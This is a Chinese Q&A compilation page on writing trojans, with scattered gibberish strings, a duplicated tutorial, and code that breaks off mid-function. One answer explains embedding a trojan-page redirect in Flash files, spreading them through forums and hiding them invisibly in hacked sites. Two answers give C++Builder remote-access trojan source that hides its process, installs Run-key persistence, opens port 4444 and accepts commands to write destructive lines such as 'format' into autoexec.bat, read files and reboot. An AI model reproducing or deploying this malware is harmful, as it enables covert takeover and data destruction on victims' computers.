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小木馬編程

發布時間: 2022-11-25 01:41:21

A. 如何做出木馬

願我的答案 能夠解決您的煩憂

最近總是看到有人要木馬病毒,我想說如果是小病毒,那麼製作出來會立刻被殺毒軟體殺掉,如果是厲害的病毒,那麼這病毒會優先整治你自己

1,所以說,如果自己不太懂病毒,就別亂玩,只能傷到自己。

2,下載騰訊電腦管家「8.4」最新版,對電腦首先進行一個體檢,打開所有防火牆避免系統其餘文件被感染。

3,打開殺毒頁面開始查殺,切記要打開小紅傘引擎。

4,如果普通查殺不能解決問題,您可以打開騰訊電腦管家---工具箱---頑固木馬專殺- 進行深度
掃描。

5,查殺處理完所有病毒後,立刻重啟電腦,再進行一次安全體檢,清除多餘系統緩存文件,避免二次感染。

如果您對我的答案不滿意,可以繼續追問或者提出寶貴意見,謝謝

B. 木馬怎麼編寫

回答的太搞笑了,首先說一下,VC它不是編程語言,說到木馬就會想到黑客,木馬首先必須是由伺服器端與客戶端組成的,要不然不叫木馬了,我就用C++給你試一下怎麼編寫一個簡單的木馬吧,即服務端與客戶端,
首先曾加4個VCL控制項吧,
拉倒,這樣說麻煩,你不如在電腦上下載VC開發工具,我遠程給你示範一下好了。

C. 怎麼編程木馬

木馬?說來想寫個木馬也容易
,只要你去學學編程
一般都可以寫出木馬的,有些木馬的原理很簡單,也可以很復雜的,依照個人水平來定啦,

D. 木馬的編程是什麼

一、製作Flash動畫木馬的准備 _1@2{3|$^'M!A程序開發,操作系統,伺服器,源碼下載,Linux,Unix,BSD,PHP,Apach,asp,下載,源碼,黑客,安全,技術社區,技術論壇 Flash動畫木馬的原理,是在網頁中顯示或本地直接播放Flash動畫木馬時,讓Flash自動打開一個網址,而該網址就是我們預先製作好的一個木馬網頁。也就是說,在製作網頁木馬前,我們首先需要製作好一個網頁木馬,並將它放置到某個網站上去。 %H8H7W*B%N,|:^4i+p6U 另外,我們還需要准備一個比較吸引人的Flash動畫文件「MM熱舞.swf」,以及Flash動畫反編譯工具「閃客精靈」,編輯工具Macromedia Flash MX。 二、最原始的Flash木馬 (X8h4s8G8L"G程序開發,操作系統,伺服器,源碼下載,Linux,Unix,BSD,PHP,Apach,asp,下載,源碼,黑客,安全,技術社區,技術論壇 現在雖然有了許多各種各樣的Flash動畫木馬製作工具,但是為了了解Flash動畫木馬的最基本原理,有必要從頭開始用最原始的方法製作一個Flash木馬。 'h'C(U$R'I1L2v"ttech.techweb.com.cn 步驟一:反編譯SWF動畫-O7c$^,d"h&Q7v5W 首先我們需要將要插入網頁木馬的Flash動畫文件「MM熱舞.swf」,反編譯成可編輯的.fla格式。運行「閃客精靈」,點擊菜單「文件」→「快速打開」命令,指定「MM熱舞.swf」文件將其導入。然後點擊工具欄上的「導出FLA」命令,將動畫導出為「MM熱舞.fla」文件。 5?-^9_-h)b8F3I,E;m5F 步驟二:插入網頁木馬代碼9t!m*W,{5q%\6j"H!]6n"f 然後運行Flash動畫編輯器Macromedia Flash MX,點擊菜單「文件」→「打開」,調入剛才保存的fla文件。展開界面下方的「動作/幀」欄,再展開「動作」→「瀏覽器/網路」項,點擊其中的「getURL」命令,在右邊窗口中的「URL」裡面輸入我們的網頁木馬地址;窗口方式為「_blank」;「變數」設置為「使用GET方式發送」,在下方的代碼窗口中將出現「getURL("http://網頁木馬地址", "_blank", "GET");」。tech.techweb.com.cn ^#o ~4V%{:m5z4E/H b;W 補充: 步驟三:生成Flash木馬 -V"L$o(t8H6m9l)rtech.techweb.com.cn 設置完畢後保存文件,並點擊菜單「文件」→「發布」命令,將動畫重新導出為SWF格式。用IE瀏覽器打開剛才生成的Flash動畫木馬,可以看到隨著Flash動畫打開播放時,自動彈出一個瀏覽器窗口,裡面將會顯示我們的木馬網頁。 接著~~~~~ 三、簡簡單單生成Flash木馬tech.techweb.com.cn*S0m7p#o5A p7S#C6l2z&f9e 程序開發,操作系統,伺服器,源碼下載,Linux,Unix,BSD,PHP,Apach,asp,下載,源碼,黑客,安全,技術社區,技術論壇-q"R1h8o8j0Z5c 上面插入木馬的過程比較麻煩,下面我們介紹一個簡單的方法,也正是這些簡單的工具使得Flash木馬在網上隨處可見。 6V5n8`!I0R/c6~,e程序開發,操作系統,伺服器,源碼下載,Linux,Unix,BSD,PHP,Apach,asp,下載,源碼,黑客,安全,技術社區,技術論壇+z%m3L'k&}6M2` 運行SWF木馬插入器,點擊界面中的「選擇」按鈕,瀏覽指定要插入木馬的SWF文件;在「插入代碼」中輸入木馬網頁的地址;切記不要勾選下面的「只解壓」項。設置完畢後,點擊「給我插」按鈕,程序提示開始插入木馬網頁。顯示成功信息後,關閉程序,用IE打開生成的動畫,可以看到自動跳轉到木馬網頁去了。 2v)l8e"^5H9^&[#_!l 9{7l#Z+X"J(P @,B 四、Flash木馬的利用 9U+p6W;d;D7e+F9Ktech.techweb.com.cn 4W6Z4W1v4V"}4A/D$t._0_7P1o 看到上面的步驟了吧,生成一個Flash動畫木馬是不是很簡單? 那麼生成的Flash木馬該如何應用呢?只要我們將Flash上傳到某個網站中,就可以通過論壇或網站之類的直接利用了。 補充: #B&c)e#c9A%`-w程序開發,操作系統,伺服器,源碼下載,Linux,Unix,BSD,PHP,Apach,asp,下載,源碼,黑客,安全,技術社區,技術論壇+|,K({&L#P2n:\6^ 大部分的論壇中都可以發來Flash動畫的帖子,利用論壇發帖,攻擊者可以快速獲得大量的肉雞。以PHPWind v4.3.2 論壇為例,在發帖或回復時,點擊編輯窗口上方的「插入Flash動畫」按鈕,設置Flash窗口大小,使用默認設置後,要求輸入Flash的URL地址。確定後,可以看到編輯窗口中顯示的代碼為「「(flash=400,300)hxxp://www.flash**.com.cn/upfiles/20067**.swf(/flash)」」,這就是完整的Flash播放代碼了,不同的論壇代碼是不一樣的。TechWeb-技術社區5h4n8X5]/@'G+`'R'i %`6W'e)~"h 應用二:網頁嵌入Flash木馬"U3S9Z3v ^ 1q8X!h-V+V0T 攻擊者入侵了某個大的網站之後,很可能在網站首頁掛馬,使用普通方式掛馬會被管理員發覺,但是掛上Flash木馬的話,是很難查殺的。攻擊者可能在網頁中插入如下代碼:8y1o*@6L&l5k8L i8a9u%A,h5@/w 「《EMBED src=http://網頁木馬地址/木馬.swf width=0 height=0 type=application/x-shockwave-flash AUTOSTART="false" ShowStatusBar="false"》」,其中的《》改為<>。 $B;{)o,j5C,A.H;Z(sTechWeb-技術社區5L/b)o'K,m:s'i1t 這里的參數「width=0 height=0」表示,Flash播放窗口為零,也就是不顯示Flash播放窗口。其它用戶瀏覽網頁時,就會莫名其妙的彈出一個木馬網頁窗口。 '^9e#G)n:X-j*T 1f6F#k.z&j3G

滿意請採納

E. 如何編簡單的木馬 怎樣編 怎樣保存 怎樣運行

木馬沒有簡單的,如果你會編,就說明你對系統比較熟悉了,一般要掌握C++,JVAV語言,要會WEB下編程,還要知道網路知識,才有可能掌握。
不過最好不要學,隨便傳播病毒是違法的,學學防病毒和防黑客知識還是有用的,掌握了這些,也就掌握了木馬。

F. 木馬用哪些編程語言寫的

一般是用VB或delphi編程語言來編寫木馬、病毒
別小看
那幾K東西喲,或許你就會愛上他!想編寫木馬,你可以多掌握宏觀的計算機知識,比如木馬有多少方法傳送!用什麼手段在傳播!用什麼方法來迴避殺毒軟體!用什麼方法監控你的計算機!用什麼方法運行還不會讓你感覺機器卡!編寫很容易

想作個NO1的木馬
不是那麼容易的!熊貓燒香這個病毒是借用蠕蟲病毒的變種,加上自己的程序而成的!變異:也就是這么產生的,電腦病毒不會想生物體病毒那麼樣自己來變異,而是認為的來變異!

G. 簡單的木馬怎麼編寫啊

特洛依木馬這個名詞大家應該不陌生,自從98年「死牛崇拜」黑客小組公布Back Orifice以來,木馬猶如平地上的驚雷, 使在Dos——Windows時代中長大的中國網民從五彩繽紛的網路之夢中驚醒,終於認識到的網路也有它邪惡的一面,一時間人心惶惶。

我那時在《電腦報》上看到一篇文章,大意是一個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網,到處求救!要知道,木馬(Trojan)的歷史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木馬是由一些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的許可權。那時木馬的主要方法是誘騙——先修改你的.profile文件,植入木馬;當你登陸時將你敲入的口令字元存入一個文件,用Email的形式發到攻擊者的郵箱里。國內的年輕人大都是在盜版Dos的熏陶下長大的,對網路可以說很陌生。直到Win9x橫空出世,尤其是WinNt的普及,大大推動了網路事業的發展的時候,BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的「關閉程序」對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網路安全方面可以說是一個劃時代的軟體。

自己編寫木馬,聽起來很Cool是不是?!木馬一定是由兩部分組成——伺服器程序(Server)和客戶端程序(Client),伺服器負責打開攻擊的道路,就像一個內奸特務;客戶端負責攻擊目標,兩者需要一定的網路協議來進行通訊(一般是TCP/IP協議)。為了讓大家更好的了解木馬攻擊技術,破除木馬的神秘感,我就來粗略講一講編寫木馬的技術並順便編寫一個例子木馬,使大家能更好地防範和查殺各種已知和未知的木馬。

首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如「死牛崇拜」黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談——難道你還給受害者傳一個1兆多的動態鏈接庫——Msvbvm60.dll嗎?
啟動C++Builder 5.0企業版,新建一個工程,添加三個VCL控制項:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMftp和NMSMTP。Server Socket的功能是用來使本程序變成一個伺服器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控制項的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟體具有上傳下載功能和發郵件功能的控制項。

Form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個Form就有300K之大),而且使軟體可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含Form,就像Delphi用過程實現的小程序一般只有17K左右那樣。

我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先順序下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程資料庫中用RegisterServiceProcess()函數注冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。

首先判斷目標機的操作系統是Win9x還是WinNt:

{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
//載入RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
//得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
//卸載動態鏈接庫
}
}

這樣就終於可以隱身了(害我敲了這么多代碼!)。為什麼要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到後面再講)。
接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,並修改注冊表,以便啟動時自動載入:

{
char TempPath[MAX_PATH];
//定義一個變數
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
//格式化TempPath字元串,使之成為能供編譯器使用的樣式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
//將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
//定義一個TRegistry對象,准備修改注冊表,這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵為HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run",TRUE);
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之
try
{
//如果以下語句發生異常,跳至catch,以避免程序崩潰
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
//查找是否有「crossbow」字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是,就寫入以上鍵值和內容
}
catch(...)
{
//如果有錯誤,什麼也不做
}
}

好,FormCreate過程完成了,這樣每次啟動都可以自動載入Tapi32.exe,並且在「關閉程序」對話框中看不見本進程了,木馬的雛形初現。

接著選中ServerSocket控制項,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定埠,處於伺服器工作狀態。再將Port填入4444,這是木馬的埠號,當然你也可以用別的。但是你要注意不要用1024以下的低端埠,因為這樣不但可能會與基本網路協議使用的埠相沖突,而且很容易被發覺,因此盡量使用1024以上的高端埠(不過也有這樣一種技術,它故意使用特定埠,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控制項使用的埠,是21號埠,這是FTP協議的專用控制埠(FTP Control Port);同理TNMSMTP的25號埠也是SMTP協議的專用埠。

再選中ServerSocket控制項,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:

{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會兒要用到的變數
sprintf(TempFile, "%s%2

H. 如何編寫木馬

木馬是如何編寫的(一)

特洛依木馬這個名詞大家應該不陌生,自從98年「死牛崇拜」黑客小組公布Back Orifice以來,木馬猶如平地上的驚雷,使在Dos??Windows時代中長大的中國網民從五彩繽紛的網路之夢中驚醒,終於認識到的網路也有它邪惡的一面,一時間人心惶惶。
我那時在《電腦報》上看到一篇文章,大意是一個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網,到處求救!呵呵,要知道,木馬(Trojan)的歷史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木馬是由一些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的許可權。那時木馬的主要方法是誘騙??先修改你的.profile文件,植入木馬;當你登陸時將你敲入的口令字元存入一個文件,用Email的形式發到攻擊者的郵箱里。國內的年輕人大都是在盜版Dos的熏陶下長大的,對網路可以說很陌生。直到Win9x橫空出世,尤其是WinNt的普及,大大推動了網路事業的發展的時候,BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的「關閉程序」對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網路安全方面可以說是一個劃時代的軟體。
自己編寫木馬,聽起來很Cool是不是?!木馬一定是由兩部分組成??伺服器程序(Server)和客戶端程序(Client),伺服器負責打開攻擊的道路,就像一個內奸特務;客戶端負責攻擊目標,兩者需要一定的網路協議來進行通訊(一般是TCP/IP協議)。為了讓大家更好的了解木馬攻擊技術,破除木馬的神秘感,我就來粗略講一講編寫木馬的技術並順便編寫一個例子木馬,使大家能更好地防範和查殺各種已知和未知的木馬。
首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如「死牛崇拜」黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談??難道你還給受害者傳一個1兆多的動態鏈接庫??Msvbvm60.dll嗎?
啟動C++Builder 5.0企業版,新建一個工程,添加三個VCL控制項:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個伺服器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控制項的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟體具有上傳下載功能和發郵件功能的控制項。
Form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個Form就有300K之大),而且使軟體可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含Form,就像Delphi用過程實現的小程序一般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先順序下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程資料庫中用RegisterServiceProcess()函數注冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。
首先判斷目標機的操作系統是Win9x還是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://載入RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
file://卸載動態鏈接庫
}
}
這樣就終於可以隱身了(害我敲了這么多代碼!)。為什麼要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到後面再講)。接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,並修改注冊表,以便啟動時自動載入:
{
char TempPath[MAX_PATH];
file://定義一個變數
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
file://格式化TempPath字元串,使之成為能供編譯器使用的樣式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
file://定義一個TRegistry對象,准備修改注冊表,這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://設置主鍵為HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之
try
{
file://如果以下語句發生異常,跳至catch,以避免程序崩潰
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有「crossbow」字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe
file://如果不是,就寫入以上鍵值和內容
}
catch(...)
{
file://如果有錯誤,什麼也不做
}
}

好,FormCreate過程完成了,這樣每次啟動都可以自動載入Tapi32.exe,並且在「關閉程序」對話框中看不見本進程了,木馬的雛形初現。
接著選中ServerSocket控制項,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定埠,處於伺服器工作狀態。再將Port填入4444,這是木馬的埠號,當然你也可以用別的。但是你要注意不要用1024以下的低端埠,因為這樣不但可能會與基本網路協議使用的埠相沖突,而且很容易被發覺,因此盡量使用1024以上的高端埠(不過也有這樣一種技術,它故意使用特定埠,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控制項使用的埠,是21號埠,這是FTP協議的專用控制埠(FTP Control Port);同理TNMSMTP的25號埠也是SMTP協議的專用埠。
再選中ServerSocket控制項,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定義了一堆待會兒要用到的變數
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
file://接收客戶端(攻擊者,也就是你自己)傳來的數據
}
好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字元串的前9個字元是「edit conf」
{
int number=temp.Length();
file://得到字元串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://將第11個字元轉換成integer型,存入file_name變數
file://為什麼要取第11個字元,因為第10個字元是空格字元
content=(temp.SubString(12,number-11)+'\n').c_str();
file://餘下的字元串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11個字元是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11個字元是1,就把Config.sys格式化
times_of_try=0;
file://定義計數器
while(fp==NULL)
{
file://如果指針是空
fp=fopen(filename,"a+");
file://如果文件不存在,創建之;如果存在,准備在其後添加
file://如果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
file://寫完後關閉目標文件
Socket->SendText("Sucess");
file://然後發回「Success」的成功信息
}
}

上回我們講到如何修改目標機上的啟動配置文件,這回我們就來查看目標機上的目錄樹和文件吧,這在客戶端上使用「dir」命令,跟著敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3個字元是「dir」
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字元串的長度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://從字元串第六個字元開始,將後面的字元存入Dir_Name變數,這是目錄名
if(Dir_Name=="")
{
file://如果目錄名為空
Socket->SendText("Fail By Open DIR's Name");
file://返回「Fail By Open DIR's Name」信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打開目錄出錯
Socket->SendText("Fail by your DIR's name!");
file://返回「Fail By Your DIR's Name」信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指針是NULL
fp=fopen(TempFile,"w+");
file://就創建system\Win369.bat准備讀和寫;如果此文件已存在,則會被覆蓋
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://並跳到END處
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果訪問目標目錄成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最後一個字元不是「\」,證明不是根目錄
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加上「\」字元後將指針指向目錄流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目錄,則不用加「\」
attrib=_rtl_chmod(filename, 0);
file://得到目標文件的訪問屬性
if (attrib & FA_RDONLY)
file://「&」字元是比較前後兩個變數,如果相同返回1,否則返回0
fwrite(" R",sizeof(char),3,fp);
file://將目標文件屬性設為只讀
else
fwrite(" ",sizeof(char),3,fp);
file://失敗則寫入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://將目標文件屬性設為隱藏
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://將目標文件屬性設為系統
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://將目標文件屬性設為普通
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_DIREC)
fwrite(" <DIR> ",sizeof(char),9,fp);
file://將目標文件屬性設為目錄
else
fwrite(" ",sizeof(char),9,fp);
file://失敗則寫入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://將目錄名寫入目標文件
fwrite(CR_LF,1,1,fp);
file://寫入換行
}
fclose(fp);
file://關閉文件
closedir(dir);
file://關閉目錄
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打開Win369.bat准備讀
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://並跳到END處
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定義的一個空數組
Read_Num=fread(temp_content,1,300,fp1);
file://從目標文件中讀入前300個字元
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text變數加上剛才的300個字元
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重復
};
Return_Text=Return_Text+temp_content;
file://Return_Text變數加上剛才的300個字元
fclose(fp1);
file://關閉目標文件
Socket->SendText(Return_Text);
file://返回Return_Text變數的內容
}
}
夠長吧?!察看目錄樹這么費勁啊?!你後面可以用BCB中的各種列表框對Client.exe好好美化美化。接下來就是查看指定文件的內容了,Client將使用「type」命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4個字元是「type」
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://將目標文件流存入File_Name變數中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打開目標文件准備讀
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已試了100次了
Socket->SendText("Fail By Open File");
file://返回「Fail By Open File」的錯誤信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定義一個空數組
Read_Num=fread(temp_content,1,300,fp);
file://從目標文件中讀入前300個字元
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的內容加上剛才的字元
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重復
};
Return_Text=Return_Text+temp_content;
file://Return_Text的內容加上剛才的字元
fclose(fp);
file://關閉目標文件
Socket->SendText(Return_Text);
file://返回Return_Text的內容,即你查看文件的內容
}
}
咳咳!累死了!還是來點輕松的吧??操縱目標機的光碟機(注意:mciSendString()函數的聲明在mmsystem.h頭文件中):
{
else if(temp=="open")
{
file://如果收到的temp的內容是「open」
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就彈出光碟機的托盤
}
else if(temp=="close")
{
file://如果收到的temp的內容是「close」
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光碟機的托盤。當然你也可以搞個死循環,讓他的光碟機好好活動活動!^_^
}
}
接著就是交換目標機的滑鼠左右鍵,代碼如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交換滑鼠左右鍵,簡單吧?
}
}
然後就是使目標機重新啟動。但這里要區分WinNt和Win9x??NT非常注重系統每個進程的權利,一個普通的進程是不應具備有調用系統的權利的,因此我們要賦予本程序足夠的許可權:
{
else if(temp=="reboot")
{
file://如果收到的temp的內容是「temp」
DWORD dwVersion = GetVersion();
file://得到操作系統的版本號
if (dwVersion < 0x80000000)
{
file://操作系統是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定義變數
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);
file://OpenProcessToken()這個函數的作用是打開一個進程的訪問令牌
file://GetCurrentProcess()函數的作用是得到本進程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改進程的許可權
tkp.PrivilegeCount = 1;
file://賦給本進程特權
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
